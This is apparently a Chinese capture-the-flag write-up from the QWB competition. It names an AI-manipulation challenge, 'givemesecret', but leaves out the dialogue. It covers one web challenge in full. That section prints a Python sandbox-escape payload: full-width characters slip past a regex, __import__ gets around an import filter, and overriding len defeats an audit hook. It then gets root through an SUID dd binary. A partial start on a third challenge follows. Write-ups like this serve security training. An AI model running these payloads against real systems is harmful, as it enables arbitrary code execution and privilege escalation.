强网杯遗憾收场。

Misc givemesecret

AI 诱导,对话如下:

Web PyBlockly

抓包,获取请求如下:

审计源代码,发现在正则过滤,但是还使用了 unidecode.unidecode() 来对传入的文本进行转码,所以可以通过全角字符来进行绕过:

AST 对 import 的过滤,使用 __import__ 就可以绕过了。

__import__('os').system('whoami')

do 函数中,添加了 audit_hook 钩子函数,对调用的函数进行了过滤,长度不能大于 4 ,当传入 __import__('os').system() 时调用的是 os.system() ,长度大于 4 ,所以无法执行。

为了绕过这个限制,根据 CTF Pyjail 沙箱逃逸绕过合集 提到的:

将内置函数 len 修改为返回值恒为 0 即可:

globals()['__builtins__'].len = lambda x: 0

最后得到的 Payload 如下(使用全角字符):

');\n\nglobals()['__builtins__'].len = lambda x:0; print(__import__('os').system('whoami'));\n\nprint('

直接读取 /flag 无回显,查看权限发现需要提权:

ls -lh /flag

查找具有 SUID 权限的文件:

find / -perm -u=s -type f 2>/dev/null

发现 dd 命令具有 SUID 权限,所以使用它将 /flag 文件的内容导出到当前目录,即可查看文件内容:

dd if=/flag of=./flag.txt

cat ./flag.txt

Web xiaohuanxiong

访问 /admin 路由发现 CMS 信息:

在 GitHub 上找到小涴熊 CMS 5.0 的源码: https://github.com/Empty2081/raccoon5